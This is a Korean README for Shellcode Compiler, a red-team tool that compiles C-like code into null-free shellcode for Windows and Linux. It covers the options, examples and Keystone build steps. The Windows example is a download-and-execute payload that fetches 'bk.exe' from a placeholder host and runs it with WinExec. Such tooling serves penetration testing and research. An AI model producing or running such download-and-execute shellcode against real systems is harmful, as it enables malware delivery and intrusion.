Shellcode Compiler

Shellcode Compiler는 C/C++ 스타일 코드를 Windows(x86 및 x64) 및 Linux(x86 및 x64)용 작고 위치 독립적이며 NULL이 없는 셸코드로 컴파일하는 프로그램입니다. 사용자 친화적인 방식으로 모든 Windows API 함수 또는 Linux syscall을 호출할 수 있습니다.

Shellcode Compiler는 소스 파일을 입력으로 받아 자체 컴파일러를 사용하여 코드를 해석하고 Keystone 엔진으로 어셈블되는 어셈블리 파일을 생성합니다.

명령줄 옵션

    -h (--help)      : Show this help message
    -p (--platform)  : Shellcode platform: win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : Print detailed output
    -t (--test)      : Test (execute) generated shellcode
    -r (--read)      : Read source code file
    -o (--output)    : Output file of the generated binary shellcode
    -a (--assembbly) : Output file of the generated assembly code

Windows 예제

    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Linux 예제

    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

호출 예제

    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64

제한 사항

1. API 호출의 반환 값을 사용할 수 없습니다.
2. 포인터나 버퍼를 사용할 수 없습니다.
3. 변수를 선언할 수 없습니다.

그 외에도 여러 다른 제한 사항이 존재합니다. 이것은 알파 버전입니다. 버그나 제안 사항을 보고해 주시기 바랍니다.

변경 로그

1. Windows x64 초기 지원
2. Linux(x86 및 x64) 셸코드 초기 지원

Keystone

1. Keystone Engine 소스 코드를 다운로드합니다.
2. nmake-lib.sh(Linux용) 및 nmake-lib.bat(Windows용)을 사용하여 Keystone Engine을 정적 라이브러리로 컴파일합니다.
3. Windows: 생성된 lib 파일을 keystone-src\build\llvm\lib\keystone.lib에서 ShellcodeCompiler\Keystone\keystone_x86.lib(32비트용) 및 keystone_x64.lib(64비트용)로 복사합니다.
4. Linux: 생성된 lib 파일을 keystone-src\build\llvm\lib\keystone.lib에서 ShellcodeCompiler\Keystone\libkeystone_x86.a(32비트용) 및 libkeystone_x64.a(64비트용)로 복사합니다.

작성자

Ionut Popescu (@NytroRST)